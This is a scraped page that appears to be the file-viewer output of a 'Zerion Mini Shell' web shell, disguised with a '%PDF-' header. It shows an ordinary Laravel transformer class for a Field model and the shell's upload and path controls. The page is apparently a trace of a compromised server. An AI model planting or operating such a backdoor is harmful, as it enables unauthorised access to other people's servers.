%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Transformers/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Transformers/FieldTransformer.php

<?php

namespace App\Transformers;

use App\Models\Field;

class FieldTransformer extends BaseTransformer
{
    protected $availableIncludes = [
        'categories',
        'client',
        'media',
        'tags',
        'address',
    ];

    public function includeCategories(Field $field)
    {
        return $this->collection($field->categories, new CategoryTransformer(), 'categories');
    }

    public function includeClient(Field $field)
    {
        return $this->item($field->client, new UserTransformer(), 'client');
    }

    public function includeMedia(Field $field)
    {
        return $this->collection($field->getMedia(Field::MEDIA_COLLECTION), new MediaTransformer(), 'media');
    }

    public function includeTags(Field $field)
    {
        if ($tags = $field->tags) {
            return $this->collection($tags, new TagTransformer(), 'tags');
        }
        return null;
    }

    public function includeAddress(Field $field)
    {
        $address = $field->address;
        if (!$address) {
            $address = $field->client->address;
        }
        return $this->item($address, new AddressTransformer(), 'address');
    }

    /**
     * @param Field $field
     *
     * @return array
     */
    public function transform(Field $field)
    {
        return [
            'id'          => $field->id,
            'name'        => $field->name,
            'description' => $field->description,
            'capacity'    => $field->capacity,
            'preview'     => $field->getPreview(),
        ];
    }
}

Zerion Mini Shell 1.0